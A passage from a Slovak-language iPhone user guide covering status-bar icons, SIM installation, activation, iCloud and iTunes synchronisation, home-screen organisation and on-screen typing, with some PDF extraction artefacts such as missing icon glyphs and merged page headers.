uskutočňovať alebo prijímať hovory. Čím viac paličiek je
zobrazených, tým je signál silnejší. Ak nie je v dosahu žiadny
signál, paličky sú nahradené textom „Žiadna sieť“.
Režim lietadlo Indikuje, že je zapnutý režim lietadlo – nie je možné používať
telefón, pripájať sa na internet ani používať Bluetooth®
zariadenia. K dispozícii nie sú žiadne z funkcií, ktoré používajú
bezdrôtové siete. Viac v časti Režim lietadlo na strane 136.
LTE Zobrazuje, že sieť LTE vášho operátora je v dosahu iPhonu
a môžete sa jej prostredníctvom pripojiť na internet.
(iPhone 5, služba nie je dostupná vo všetkých oblastiach). Viac
v časti Mobilné na strane 141.Kapitola 1 iPhone v skratke 11
Stavová ikona Význam
UMTS Zobrazuje, že sieť 4G UMTS (GSM) vášho operátora je v dosahu
iPhonu a môžete sa jej prostredníctvom pripojiť na internet.
(iPhone 4S alebo novší. Služba nie je dostupná vo všetkých
oblastiach). Viac v časti Mobilné na strane 141.
UMTS/EV-DO Zobrazuje, že je 3G UTMS (GSM) alebo EV-DO (CDMA)
sieť vášho operátora v dosahu iPhonu a môžete sa
prostredníctvom nej pripojiť na internet. Viac v časti
Mobilné na strane 141.
EDGE Zobrazuje, že sieť EDGE (GSM) vášho operátora je v dosahu
iPhonu a môžete sa jej prostredníctvom pripojiť na internet.
Viac v časti Mobilné na strane 141.
GPRS/1xRTT Zobrazuje, že je GPRS (GSM) alebo 1xRTT (CDMA) sieť vášho
operátora v dosahu iPhonu a môžete sa prostredníctvom nej
pripojiť na internet. Viac v časti Mobilné na strane 141.
Wi-Fi* Zobrazuje, že iPhone je pripojený na internet prostredníctvom
Wi-Fi siete. Čím viac paličiek je zobrazených, tým je signál
silnejší. Viac v časti Wi-Fi na strane 136.
Nerušiť Zobrazuje, že je zapnutá funkcia Nerušiť. Viac v časti Zvuky na
strane 145.
Zdieľanie internetu Zobrazuje, že iPhone je pripojený k inému iPhonu a zdieľa
s ním pripojenie na internet. Viac v časti Zdieľanie internetu na
strane 138.
Synchronizácia Zobrazuje, že sa iPhone synchronizuje s iTunes.
Aktivita siete Signalizuje sieťovú aktivitu. Túto ikonu môžu na identifikáciu
aktívnych procesov využívať aj niektoré aplikácie tretích strán.
Presmerovanie
hovorov
Zobrazuje, že je na iPhone zapnuté presmerovanie hovorov.
Viac v časti Presmerovanie hovorov, Čakanie hovorov
a Zobraziť moje číslo na strane 52.
VPN Zobrazuje, že ste pripojení k sieti prostredníctvom VPN. Viac v
časti Mobilné na strane 141.
Zámok Zobrazuje, že je iPhone zamknutý. Viac v časti Tlačidlo Spať/
Zobudiť na strane 8.
TTY Zobrazuje, že je iPhone nastavený na prácu s ďalekopisným
strojom (TTY). Viac v časti Podpora ďalekopisu - TTY na
strane 134.
Play Zobrazuje, že sa práve prehráva skladba, audiokniha alebo
podcast. Viac v časti Prehrávanie hudby na strane 61.
Zamknutie orientácie
na výšku
Zobrazuje, že orientácia obrazovky iPhonu je zamknutá
na výšku. Viac v časti Orientácia na výšku alebo na šírku na
strane 21.
Budík Zobrazuje, že máte nastavený budík. Viac v časti
kapitola 19, Hodiny, na strane 94.
Lokalizačné služby Zobrazuje, že niektorá z aplikácií používa lokalizačné služby.
Viac v časti Súkromie na strane 146.Kapitola 1 iPhone v skratke 12
Stavová ikona Význam
Bluetooth* Modrá alebo biela ikona: Bluetooth je zapnuté a spárované so
zariadením.
Sivá ikona: Bluetooth je zapnuté a spárované so zariadením,
ale zariadenie je mimo dosahu alebo vypnuté.
Žiadna ikona: Bluetooth nie je spárované so zariadením.
Viac v časti Bluetooth zariadenia na strane 35.
Batéria Bluetooth Zobrazuje úroveň batérie podporovaného a spárovaného
Bluetooth zariadenia.
Batéria Zobrazuje stav batérie alebo nabíjania. Viac v časti Batéria na
strane 37.
* Príslušenstvo a bezdrôtový výkon: Používanie určitého príslušenstva s iPhonom môže
znížiť výkon v bezdrôtovej sieti. Nie všetko príslušenstvo určené pre iPad je plne kompatibilné
s iPhonom. Rušenie zvuku iPhonu spôsobené príslušenstvom môžete eliminovať zapnutím
režimu lietadlo. Keď je zapnutý režim lietadlo, nemôžete uskutočňovať ani prijímať
hovory alebo používať funkcie, ktoré používajú na komunikáciu bezdrôtové technológie.
Výkon v bezdrôtovej sieti môžete vylepšiť presunutím alebo zmenou polohy iPhonu a
pripojeného príslušenstva.2
13
· UPOZORNENIE: Aby ste predišli zraneniam, prečítajte si časť Dôležité informácie týkajúce sa
bezpečnosti na strane 153 predtým, ako začnete používať iPhone.
Čo budete potrebovať
Na používanie iPhonu potrebujete:
• Volací program u mobilného operátora poskytujúceho služby pre iPhone vo vašej oblasti
• Pripojenie na internet pre svoj počítač (odporúča sa širokopásmové pripojenie)
• Používanie niektorých funkcií, vrátane iCloudu, obchodov App Store a iTunes Store a online
nakupovania, vyžaduje Apple ID. Apple ID si môžete vytvoriť počas nastavovania.
Na používanie iPhonu so svojim počítačom potrebujete:
• Mac s USB 2.0 alebo 3.0 portom alebo PC s USB 2.0 portom a jedným z nasledujúcich
operačných systémov:
• Mac OS X verzie 10.6.8 alebo novšej
• Windows 7, Windows Vista alebo Windows XP Home alebo Professional s balíkom Service
Pack 3 alebo novším
• Aplikáciu iTunes verzie 10.7 alebo novšej (vyžadujú ju niektoré funkcie) dostupnú na
www.apple.com/sk/itunes/download/
Inštalácia SIM karty
Ak bola k iPhonu dodaná SIM karta, nainštalujte ju pred spustením nastavovania.
Dôležité: Na používanie mobilných služieb pri pripájaní ku GSM sieťam a niektorým
CDMA sieťam sa vyžaduje SIM karta. iPhone 4S alebo novší model, ktorý bol aktivovaný
prostredníctvom bezdrôtovej CDMA siete môže využívať SIM kartu na pripájanie ku GSM
sieťam (pri medzinárodnom roamingu). Váš iPhone podlieha pravidlám vášho poskytovateľa
bezdrôtových služieb. Tieto môžu zahŕňať obmedzenia týkajúce sa zmeny poskytovateľa služby
a roamingu a to aj po skončení minimálnej vyžadovanej zmluvy o službách. Viac informácií
získate u vášho poskytovateľa bezdrôtových služieb. Dostupnosť mobilných funkcií závisí od
bezdrôtovej siete.
ZačínameKapitola 2 Začíname 14
Inštalácia SIM karty do iPhonu 5
Nano SIM
karta
Nano SIM
karta
Nano SIM
dvierka
Nano SIM
dvierka
Spinka na
papier
alebo
nástroj na
vysúvanie
SIM karty
Spinka na
papier
alebo
nástroj na
vysúvanie
SIM karty
Inštalácia SIM karty: Zasuňte koniec malej spinky na papier alebo nástroja na vysúvanie SIM
karty do otvoru na SIM dvierkach. Vytiahnite dvierka SIM karty a vložte SIM kartu tak, ako je to
znázornené na obrázku. SIM dvierka spolu so SIM kartou opatrne zasuňte na pôvodné miesto.
Nastavenie a aktivácia iPhonu
Ak chcete aktivovať iPhone, zapnite ho a nasledujte inštrukcie sprievodcu nastavením.
Sprievodca nastavením vás prevedie procesom nastavenia, vrátane pripojenia k Wi-Fi sieti,
prihlásenia použitím bezplatného Apple ID alebo vytvorenia Apple ID, nastavenia iCloudu,
zapnutia odporúčaných funkcií, ako sú lokalizačné služby alebo Nájsť môj iPhone a aktivácie
iPhonu u vášho operátora. Počas nastavovania môžete tiež obnoviť zariadenie z iCloud zálohy
alebo zálohy v iTunes.
Aktiváciu je možné vykonať prostredníctvom Wi-Fi siete, prípadne na iPhone 4S alebo novšom
aj cez mobilnú sieť operátora (táto možnosť nie je dostupná vo všetkých oblastiach). Ak nie
je dostupná ani jedna z týchto možností, musíte kvôli aktivácii pripojiť iPhone k počítaču a
spustiť iTunes.
Pripájanie iPhonu k počítaču
Pre dokončením aktivácie môže byť potrebné pripojenie iPhonu k počítaču. Pripojenie iPhonu
k počítaču vám tiež umožňuje synchronizovať informácie, hudbu a ďalší obsah s iTunes. Viac v
časti Synchronizácia s iTunes na strane 17.
Pripojenie iPhonu k počítaču: Použite kábel Lightning na USB (iPhone 5) alebo Dock
connector - USB (staršie modely iPhonov), ktorý bol dodaný s iPhonom.Kapitola 2 Začíname 15
Pripájanie na internet
iPhone sa pripája na internet prostredníctvom Wi-Fi pripojenia (ak je dostupné) alebo mobilnej
siete vášho operátora vždy, keď je to potrebné. Informácie o pripájaní k Wi-Fi sieti nájdete
v časti Wi-Fi na strane 136.
Poznámka: Ak Wi-Fi pripojenie na internet nie je dostupné, niektoré aplikácie a služby na
iPhone môžu prenášať dáta prostredníctvom siete vášho operátora. Tieto prenosy dát môžu
byť dodatočne spoplatnené. Informácie o poplatkoch za prenos dát v mobilnej sieti nad rámec
programu získate u svojho operátora. Informácie o spravovaní používania mobilných dát
nájdete v časti Mobilné na strane 141.
Nastavenie emailových a ďalších účtov
iPhone spolupracuje s iCloudom, Microsoft Exchange a ďalšími populárnymi službami, ktoré na
internete poskytujú email, kontakty a kalendáre.
Ak zatiaľ nemáte emailový účet, môžete si vytvoriť bezplatný iCloud účet pri prvom nastavení
zariadenia iPhone, prípadne tak môžete spraviť neskôr v Nastavenia > iCloud. Viac v časti
iCloud na strane 16.
Nastavenie iCloud účtu: Prejdite do Nastavenia > iCloud.
Nastavenie iného účtu: Prejdite do Nastavenia > Mail, kontakty, kalendáre.
Kontakty môžete pridávať aj pomocou LDAP alebo CardDAV účtu v prípade, že túto službu
podporuje vaša firma alebo organizácia. Viac v časti Pridávanie kontaktov na strane 105.
Môžete si pridávať kalendáre pomocou kalendárového účtu CalDAV a odoberať kalendáre
iCalendar (.ics), prípadne ich importovať z aplikácie Mail. Viac v časti Práca s viacerými
kalendármi na strane 72.
Apple ID
Apple ID je užívateľské meno bezplatného účtu, ktorý vám poskytuje prístup k službám Apple
ako napríklad iTunes Store, App Store a iCloud Na všetky operácie s produktami Apple vám
stačí jediné Apple ID. Služby a produkty, ktoré používate, kupujete alebo prenajímate, môžu
byť spoplatnené.
Ak máte Apple ID, použite ho pri prvom nastavovaní iPhonu a kedykoľvek, keď sa potrebujete
prihlásiť na používanie služieb Apple. Ak ešte nemáte Apple ID, môžete si ho vytvoriť počas
výzvy na prihlásenie.
Ďalšie informácie nájdete na adrese support.apple.com/kb/he37.
Spravovanie obsahu na vašich iOS zariadeniach
Informácie a súbory môžete medzi vašimi iOS zariadeniami a počítačmi prenášať pomocou
iCloudu alebo iTunes.
• iCloud uchováva obsah, ako je napríklad hudba, fotky, kalendáre, kontakty, dokumenty a
ďalšie dáta a bezdrôtovo ich prenáša na vaše ostatné iOS zariadenia a počítače, takže sú
všade automaticky aktualizované. Viac v časti iCloud nižšie.Kapitola 2 Začíname 16
• iTunes synchronizuje hudbu, videá, fotky a ďalšie položky medzi vašim počítačom
a zariadením iPhone. Zmeny vykonané na jednom zariadení sú do ostatných zariadení
prekopírované pri synchronizácii. iTunes môžete použiť aj na kopírovanie súborov do
zariadenia iPhone pre použitie vo vybranej aplikácii, prípadne na kopírovanie dokumentov
vytvorených na iPhone do svojho počítača. Viac v časti Synchronizácia s iTunes na strane 17.
V závislosti od vašich potrieb môžete používať iCloud alebo iTunes, prípadne obe možnosti.
Môžete napríklad použiť iCloud Fotostream na automatické prenášanie fotiek spravených
pomocou zariadenia iPhone na všetky svoje ostatné zariadenia a iTunes na synchronizáciu
albumov fotografií zo svojho počítača do zariadenia iPhone.
Dôležité: Nemali by ste zároveň synchronizovať položky v paneli Info v iTunes (ako sú
kontakty, kalendáre a poznámky) a používať iCloud na aktualizáciu týchto informácií na vašich
zariadeniach. V opačnom prípade môže dôjsť k duplicitným dátam.
iCloud
iCloud uchováva váš obsah, ako je napríklad hudba, fotky, kontakty, kalendáre a podporované
dokumenty. Obsah uložený v iCloude sa bezdrôtovo prenáša do ostatných iOS zariadení a
počítačov, ktoré sú nastavené pomocou rovnakého iCloud účtu.
iCloud je dostupný na zariadeniach so systémom iOS 5 alebo novším, na počítačoch Mac so
systémom OS X Lion v10.7.2 alebo novším a na počítačoch PC s doplnkom Ovládací panel
iCloudu pre Windows (vyžaduje systém Windows Vista Service Pack 2 alebo Windows 7).
Funkcie iCloudu zahŕňajú:
• iTunes v cloude — kedykoľvek si do svojho zariadenia iPhone bezplatne stiahnite hudbu a
televízne seriály, ktoré ste predtým kúpili v iTunes.
• Aplikácie a knihy — kedykoľvek si do svojho zariadenia iPhone bezplatne stiahnite svoje
nákupy v obchodoch App Store a iBookstore.
• Fotostream — nové spravené fotky sa zobrazia na všetkých zariadeniach. Môžete vytvoriť aj
fotostreamy, ktoré budete zdieľať s ostatnými. Viac v časti Fotostream na strane 75.
• Dokumenty v cloude — dokumenty a dáta z aplikácií, ktoré podporujú iCloud, môžete
uchovávať aktuálne na všetkých svojich zariadeniach.
• Mail, Kontakty, Kalendáre — uchovávajte svoje mailové kontakty, kalendáre, poznámky a
pripomienky aktuálne na všetkých svojich zariadeniach.
• Zálohovanie — automaticky zálohujte svoj iPhone na iCloud vždy, keď je pripojený k
napájaniu a k Wi-Fi sieti. Viac v časti Zálohovanie iPhonu na strane 157.
• Nájsť môj iPhone — nájdite svoj iPhone na mape, zobrazte na ňom správu, prehrajte zvuk,
zamknite obrazovku, prípadne vymažte dáta na diaľku. Viac v časti Nájsť môj iPhone na
strane 37.
• Nájsť priateľov — zdieľajte svoju polohu s ľuďmi, ktorí sú pre vás dôležití. Stiahnite si
bezplatnú aplikáciu z App Store.
• iTunes Match – pri odoberaní služby iTunes Match sa všetky hudobné súbory, vrátane hudby,
ktorú ste importovali z CD diskov alebo zakúpili mimo iTunes, zobrazia na všetkých vašich
zariadeniach a budete si ich môcť stiahnuť a na požiadanie prehrať. Viac v časti iTunes
Match na strane 65.
• iCloud taby — prezerajte si webové stránky, ktoré ste si otvorili na ostatných iOS zariadeniach
a počítačoch so systémom OS X. Viac v časti kapitola 7, Safari, na strane 58.Kapitola 2 Začíname 17
S iCloudom získate bezplatný emailový účet a 5 GB úložiska pre vaše emaily, dokumenty
a zálohy. Zakúpená hudba, aplikácie, TV seriály a knihy a ani fotostreamy nezaberajú v úložisku
žiadne miesto.
Prihlásenie do iCloud účtu, vytvorenie iCloud účtu a nastavenie možností iCloudu: Prejdite
do Nastavenia > iCloud.
Zakúpenie dodatočného úložiska na iCloude: Prejdite do Nastavenia > iCloud > Úložisko
a záloha a potom klepnite na Spravovať úložisko. Informácie týkajúce sa zakúpenia úložiska na
iCloude nájdete na adrese help.apple.com/icloud.
Zobrazovanie a sťahovanie predchádzajúcich nákupov:
• Nákupy v obchode iTunes Store: Prejdite do iTunes, klepnite na „More“ (Viac) a potom klepnite
na „Purchased“ (Zakúpené).
• Nákupy v obchode App Store: Prejdite do App Store, klepnite na „Updates“ (Aktualizácie)
a potom klepnite na „Purchased“ (Zakúpené).
• Nákupy v obchode iBookstore: Prejdite do iBooks, klepnite na Store a potom klepnite na
„Purchased“ (Zakúpené).
Zapnutie funkcie Automatické sťahovania pre hudbu, aplikácie alebo knihy: Prejdite do
Nastavenia > iTunes a App Store.
Viac informácií o iCloude nájdete v časti www.apple.com/sk/icloud. Informácie týkajúce sa
podpory nájdete na adrese www.apple.com/emea/support/icloud/.
Synchronizácia s iTunes
Pri synchronizácii s iTunes dochádza ku kopírovaniu informácií z vášho počítača do zariadenia
iPhone a naopak. Synchronizovať môžete priamym pripojením zariadenia iPhone k svojmu
počítaču, prípadne môžete nastaviť iTunes na bezdrôtovú synchronizáciu prostredníctvom
Wi-Fi. iTunes môžete nastaviť na synchronizáciu hudby, fotiek, videí, podcastov, aplikácií
a ďalšieho obsahu. Pre informácie týkajúce sa synchronizácie zariadenia iPhone s počítačom
otvorte iTunes a v menu Pomocník vyberte Pomocník pre iTunes.
Nastavenie bezdrôtovej synchronizácie s iTunes: Pripojte iPhone k svojmu počítaču. V iTunes
na počítači vyberte svoj iPhone (v časti Zariadenia), kliknite na Zhrnutie a potom zapnite
možnosť Synch. cez Wi-Fi pripojenie.
Keď je zapnutá synchronizácia cez Wi-Fi, bude synchronizácia zariadenia iPhone prebiehať
každý deň. iPhone musí byť pripojený k zdroju napájania, iPhone a váš počítač musia byť
pripojené k rovnakej bezdrôtovej sieti a na vašom počítači musí byť otvorená aplikácia iTunes.
Viac informácií nájdete v časti Wi-Fi synch. s iTunes na strane 142.
Tipy pre synchronizáciu s iTunes
• Ak používate iCloud na synchronizáciu svojich kontaktov, kalendárov, záložiek a poznámok,
nesynchronizujte ich súčasne na svoje zariadenie aj pomocou iTunes.
• Položky zakúpené cez iPhone v obchode iTunes Store alebo App Store sú spätne
synchronizované do vašej knižnice iTunes. Obsah a aplikácie si môžete zakúpiť alebo
stiahnuť aj v iTunes Store na svojom počítači a potom ich synchronizovať do svojho
zariadenia iPhone.
• V paneli Zhrnutie svojho zariadenia v iTunes môžete nastaviť automatickú synchronizáciu
zariadenia po pripojení k počítaču. Toto nastavenie môžete v prípade potreby jednorázovo
zakázať. Po pripojení zariadenia k počítaču podržte stlačené klávesy Command a Option (na
Macu) alebo Shift a Control (na PC), až kým sa iPhone nezobrazí v postrannom paneli.Kapitola 2 Začíname 18
• Ak chcete, aby aplikácia iTunes automaticky šifrovala zálohované dáta pri vytváraní záloh
v počítači , vyberte v paneli Zhrnutie vášho zariadenia možnosť Zašifrovať zálohu iPhonu.
Šifrované zálohy sú označené ikonou zámku a pri obnove z týchto záloh je potrebné
zadať osobitné heslo. Ak sa rozhodnete nepoužívať šifrovanie záloh, nebudú ďalšie heslá
(napríklad heslá emailových účtov) zahrnuté v zálohe a po obnovení zariadenia zo zálohy ich
budete musieť znovu zadať.
• Pri synchronizácii emailových účtov v paneli Informácie zariadenia dôjde k preneseniu
nastavení len z vášho počítača do zariadenia iPhone. Zmeny, ktoré vykonáte v emailovom
účte na iPhone nemôžu ovplyvniť tento účet vo vašom počítači.
• V paneli Informácie môžete po kliknutí na Rozšírené vybrať možnosti, ktoré vám umožňujú
pri nasledujúcej synchronizácii nahradiť informácie na zariadení iPhone informáciami
z počítača.
• Miesto, kde ste prerušili prehrávanie podcastu alebo audioknihy je súčasťou synchronizácie
s obsahom iTunes. Ak ste začali prehrávať médiá na iPhone, môžete po synchronizácii
pokračovať v prehrávaní od miesta prerušenia v iTunes na svojom počítači a naopak.
• V paneli Fotky môžete synchronizovať fotky a videá z priečinka na svojom počítači.
Prezeranie príručky užívateľa na iPhone
iPhone príručku užívateľa si môžete prezerať na iPhone v prehliadači Safari a v bezplatnej
aplikácii iBooks.
Zobrazenie príručky užívateľa v aplikácii Safari: Klepnite na a potom klepnite na záložku
iPhone Príručka užívateľa.
• Pridanie ikony pre príručku na plochu: Klepnite na a potom klepnite na Pridať na plochu.
• Zobrazenie príručky v inom jazyku: Na stránke s obsahom klepnite na Zmeniť jazyk.
Zobrazenie príručky užívateľa v aplikácii iBooks: Ak nemáte nainštalovanú aplikáciu iBooks,
otvore App Store, vyhľadajte „iBooks“ a nainštalujte si ju. Otvorte aplikáciu iBooks a klepnite
na Obchod. Vyhľadajte výraz „iPhone príručka“ a potom vo výsledkoch vyberte príručku
a stiahnite ju.
Viac informácií o iBooks nájdete v časti kapitola 30, iBooks, na strane 113.3
19
Používanie aplikácií
Interakciu s iPhonom môžete realizovať dotykmi prstov na dotykovej obrazovke: klepnutím,
dvojitým klepnutím, potiahnutím alebo zovretím/rozovretím.
Otváranie a prepínanie medzi aplikáciami
Ak sa chcete vrátiť na plochu, stlačte tlačidlo Domov .
Otvorenie aplikácie: Klepnite na ikonu aplikácie.
Pre návrat na plochu stlačte znovu tlačidlo Domov .
Zobrazenie ďalšej plochy: Potiahnite obrazovku doľava alebo doprava.
Potiahnutím prsta doľava
alebo doprava prejdite na
susednú plochu.
Potiahnutím prsta doľava
alebo doprava prejdite na
susednú plochu.
Prechod na prvú plochu: Stlačte tlačidlo Domov .
Zobrazenie nedávno používaných aplikácií: Dvojitým stlačením tlačidla Domov sa zobrazte
panel multitaskingu.
ZákladyKapitola 3 Základy 20
Ak chcete aplikáciu znovu použiť, klepnite na ňu. Ak chcete zobraziť viac aplikácií, potiahnite
panel multitaskingu doľava.
Naposledy používané aplikácie Naposledy používané aplikácie
Ak máte veľké množstvo aplikácií, na ich vyhľadávanie a otváranie môžete použiť Spotlight.
Viac v časti Vyhľadávanie na strane 29.
Rolovanie
Pre rolovanie potiahnite prst po displeji nahor alebo nadol. V niektorých aplikáciách, napríklad
pri prezeraní webových stránok, je možné rolovať obraz aj do strán. Počas rolovania obrazu
prstom nie je možné vybrať, ani aktivovať žiadny prvok na obrazovke.
Čím rýchlejšie pohybujete prstom po obrazovke, tým je rolovanie rýchlejšie.
Môžete buď počkať, kým sa pohyb obrazovky zastaví, alebo okamžite zastaviť rolovanie
klepnutím prsta na ľubovoľné miesto na obrazovke.
Ak sa chcete rýchlo prejsť na vrch strany, klepnite na stavový riadok vo vrchnej časti obrazovky.Kapitola 3 Základy 21
Zoznamy
V závislosti od typu zoznamu sa výberom položky môžu vykonať rôzne akcie, napríklad
otvorenie nového zoznamu, prehratie skladby, otvorenie emailu, prípadne zobrazenie
kontaktných údajov osoby, ktorej chcete zavolať.
Výber položky v zozname: Klepnite na ikonu aplikácie.
Niektoré zoznamy obsahujú kvôli rýchlejšiemu prechádzaniu register.
Návrat do predošlého zoznamu: Klepnite na tlačidlo späť v ľahom hornom rohu.
Zväčšovanie a zmenšovanie
V závislosti od aplikácie budete môcť obraz na obrazovke priblížením zväčšiť alebo oddialením
zmenšiť. Napríklad pri prezeraní fotografií, webových stránok, emailových správ alebo máp
môžete potiahnutím dvoch prstov k sebe (zovretie) obraz priblížiť a odtiahnutím od seba
(rozovretie) oddialiť. Fotografie a webové stránky môžete približovať aj dvojitým klepnutím
(rýchle klepnutie dvakrát na obrazovku) a odďaľovať opätovným dvojitým klepnutím. V
mapách klepnite dvakrát pre zväčšenie a pre zmenšenie klepnite jedenkrát dvoma prstami.
Zväčšovanie je tiež špecifická funkcia prístupnosti, ktorá vám umožňuje zväčšiť obrazovku
ľubovoľnej aplikácie a uľahčiť tak jej používanie. Viac v časti Zväčšovanie na strane 130.
Orientácia na výšku alebo na šírku
Množstvo aplikácii na iPhone je možné zobraziť na šírku alebo na výšku. Otočte iPhone
a zároveň sa otočí aj obrazovka a prispôsobí sa novej orientácii.Kapitola 3 Základy 22
Zamknutie orientácie obrazovky na výšku: Stlačte tlačidlo Domov dvakrát, potiahnite
panel multitaskingu smerom zľava doprava a potom klepnite na .
Keď je orientácia obrazovky zamknutá, zobrazí sa v stavovej lište ikona zámku orientácie .
Nastavenie jasu
Jas obrazovky môžete nastaviť manuálne, prípadne môžete zapnúť funkciu Automatický jas,
ktorá na základe údajov zo svetelného senzora automaticky upraví jas obrazovky.
Nastavenie jasu obrazovky: Prejdite do Nastavenia > Jas a pozadie a potiahnite posuvník.
Vypnutie alebo zapnutie funkcie Automatický jas: Prejdite do Nastavenia > Jas a pozadie.
Viac v časti Jas a pozadie na strane 146.
Prispôsobenie iPhonu
Môžete si prispôsobiť rozloženie aplikácií na ploche, zoskupovať ich v priečinkoch
a meniť pozadie.
Usporiadanie aplikácií
Prispôsobte si plochu usporiadaním aplikácií, ich presunom do Docku v spodnej časti
obrazovky alebo vytvorením ďalších plôch.
Preusporiadanie aplikácií: Dotknite sa a podržte ľubovoľnú aplikáciu na ploche až kým sa
nezačne chvieť a potom ju presuňte potiahnutím. Stlačte tlačidlo Domov , čím potvrdíte nové
rozmiestnenie ikon aplikácií.
Vytvorenie novej plochy: Počas upravovania rozloženia aplikácií potiahnite aplikáciu na pravý
okraj plochy, až kým sa nezobrazí nová plocha.
Môžete vytvoriť až 11 plôch. Bodky nad Dockom zobrazujú počet používaných plôch a ktorá
z nich je práve zobrazená.
Prepínať medzi plochami môžete potiahnutím prsta po obrazovke doľava alebo doprava. Ak sa
chcete vrátiť na prvú plochu, stlačte tlačidlo Domov .
Presun aplikácie na ďalšiu plochu: Počas chvenia aplikácie ju potiahnite na okraj obrazovky.
Prispôsobenie plochy pomocou aplikácie iTunes: Pripojte iPhone k počítaču. V iTunes
na svojom počítači vyberte iPhone a kliknutím na tlačidlo Aplikácie zobrazte obrázok s
plochou iPhonu.Kapitola 3 Základy 23
Obnovenie pôvodného rozmiestnenia aplikácií na ploche: Prejdite do Nastavenia >
Všeobecné a klepnite na Resetovať rozloženie plochy. Resetovaním rozloženia plochy
odstránite všetky vytvorené priečinky a zároveň sa vrátite k predvolenému pozadiu na ploche.
Usporadúvanie pomocou priečinkov
Aplikácie na ploche môžete usporiadať pomocou priečinkov. Priečinky môžete usporiadať
rovnako ako aplikácie ťahaním na plochách alebo potiahnutím do Docku.
Vytvorenie priečinka: Dotknite sa aplikácie a podržte na nej prst, až kým sa ikony na ploche
nezačnú chvieť. Potom potiahnite aplikáciu na inú aplikáciu.
iPhone vytvorí nový priečinok obsahujúci tieto dve aplikácie a pomenuje ho podľa ich typu. Ak
chcete zadať odlišný názov, klepnite na pole pre názov.
Otvorenie priečinka: Klepnite na priečinok. Ak chcete zatvoriť priečinok, klepnite mimo neho
alebo stlačte tlačidlo Domov .
Usporadúvanie pomocou priečinkov: Počas usporadúvania aplikácií (ikony sa chvejú):
• Pridanie aplikácie do priečinka: Potiahnite aplikáciu na priečinok.
• Odstránenie aplikácie z priečinka: V prípade potreby priečinok otvorte a aplikáciu z neho
potiahnutím von.
• Vymazanie priečinka: Potiahnite všetky aplikácie von z priečinka. Priečinok bude
automaticky vymazaný.
• Premenovanie priečinka: Priečinok otvorte klepnutím, klepnite na jeho názov a zadajte
nový názov.
Po dokončení úprav stlačte tlačidlo Domov .
Zmena pozadia
Zamknutú plochu a plochu iPhonu si môžete pomocou vlastného obrázka, ktorý bude
použitý ako pozadie. Vyberte si jeden z poskytnutých obrázkov, prípadne fotografiu z albumu
Fotoaparát či iného albumu na iPhone.
Zmena pozadia: Prejdite do Nastavenia > Jas a pozadie.Kapitola 3 Základy 24
Písanie
Dotyková klávesnica na obrazovke vám umožňuje zadávať text.
Zadávanie textu
Pomocou klávesnice na obrazovke môžete zadávať text, ako napríklad informácie
o kontaktoch, emailové správy a adresy webových stránok. V závislosti od používanej aplikácie
a jazyka môže klávesnica opravovať pravopisné chyby, ponúkať slová, ktoré chcete napísať
a dokonca sa aj naučiť spôsobu, akým ju používate.
Na písanie môžete tiež použiť bezdrôtovú Apple klávesnicu. Viac v časti Bezdrôtová Apple
klávesnica na strane 27. Ak chcete namiesto písania používať diktovanie, prejdite na tému
Diktovanie na strane 27.
Zadávanie textu: Klepnutím na textové pole zobrazte klávesnicu a potom klepte na
klávesy klávesnice.
Počas písania sa bude každý zadávaný znak zobrazovať nad vaším prstom alebo palcom. Ak sa
dotknete neželaného klávesu, bez zdvihnutia presuňte prst na požadovaný znak. Vybraný znak
nebude zadaný, kým nezdvihnete prst z klávesu.
• Písanie veľkých písmen: Pred klepnutím na písmeno klepnite na kláves Shift .
Prípadne sa dotknite klávesu Shift a s prstom stále priloženým na displeji prejdite na
požadované písmeno.
• Rýchle vloženie bodky a medzery: Dvakrát rýchlo klepnite na medzerník.
• Zapnutie caps lock: Klepnite dvakrát na kláves Shift . Ak chcete vypnúť caps lock, klepnite
na kláves Shift.
• Zadávanie číslic, interpunkcie alebo symbolov: Stlačte kláves pre číslice . Ak chcete zobraziť
doplnkovú interpunkciu a symboly, klepnite na kláves Symbol .
• Zadávanie písmen s diakritikou alebo iných alternatívnych znakov: Dotknite sa klávesu,
podržte na ňom prst a posunutím vyberte jednu z možností.
Pre zadanie alternatívneho znaku
podržte kláves a posunutím prsta
vyberte niektorú z možností.
Pre zadanie alternatívneho znaku
podržte kláves a posunutím prsta
vyberte niektorú z možností.
Nastavenie možností písania: Prejdite do Nastavenia > Všeobecné > Klávesnica.Kapitola 3 Základy 25
Upravovanie textu
Ak potrebujete upraviť text, pomocou lupy na obrazovke si môžete umiestniť kurzor na
požadované miesto. Text môžete označiť a následne ho vystrihovať, kopírovať a vkladať.
V niektorých aplikáciách môžete tiež vystrihovať, kopírovať a vkladať fotografie a videá.
Zmena polohy kurzora: Podržte prst na mieste a zobrazí sa vám lupa, pomocou ktorej
nasmerujte kurzor na požadované miesto.
Označenie textu: Klepnite na kurzor pre zobrazenie tlačidiel označovania. Klepnutím na
Označiť označte susediace slovo alebo klepnutím na Označiť všetko označte celý text.
Slovo môžete takisto označiť tak, že naň dvakrát klepnete. Potiahnite krajné body pre
označenie väčšej alebo menšej časti textu. V dokumentoch určených len na čítanie ako sú
webové stránky, slovo označte klepnutím a podržaním.
Vystrihnutie alebo kopírovanie textu: Označte text a potom klepnite na Vystrihnúť
alebo Kopírovať.
Vkladanie textu: Klepnite na miesto, kde chcete vložiť text a následne vložte posledný
vystrihnutý alebo skopírovaný text klepnutím na Vložiť. Ak chcete text nahradiť, pred
klepnutím na Vložiť ho označte.
Odvolanie poslednej úpravy: Potraste iPhonom a následne klepnite na Odvolať.
Zmena formátovania textu na tučné, kurzíva alebo podčiarknuté: Označte text, klepnite na
a následne na B/I/U (nie vždy je dostupná).
Vyhľadanie významu slova: Označte slovo a klepnite na Definovať (nie vždy je dostupná).
Získanie alternatívnych slov: Označte slovo a klepnite na možnosť Navrhnúť (nie vždy je
dostupná).Kapitola 3 Základy 26
Automatické opravy a kontrola pravopisu
iPhone využíva v mnohých jazykoch funkciu aktívneho slovníka, vďaka čomu počas
písania opravuje preklepy alebo navrhuje písané slová. Ak iPhone navrhne slovo,
môžete ho prijať bez prerušenia písania. Zoznam podporovaných jazykov nájdete na
www.apple.com/iphone/specs.html.
Navrhované slovo Navrhované slovo
Prijatie navrhovaného slova: Klepnite na medzerník, interpunkčné znamienko alebo na
znak enter.
Odmietnutie navrhovaného slova: Klepnite na ikonu „x“ vedľa navrhnutého slova.
Ak pri písaní jedného slova ho odmietnete viackrát, iPhone bude v budúcnosti prijímať slovo,
ktoré ste napísali namiesto neho.
iPhone môže tiež podčiarknuť zadané slová, ktoré považuje za preklepy.
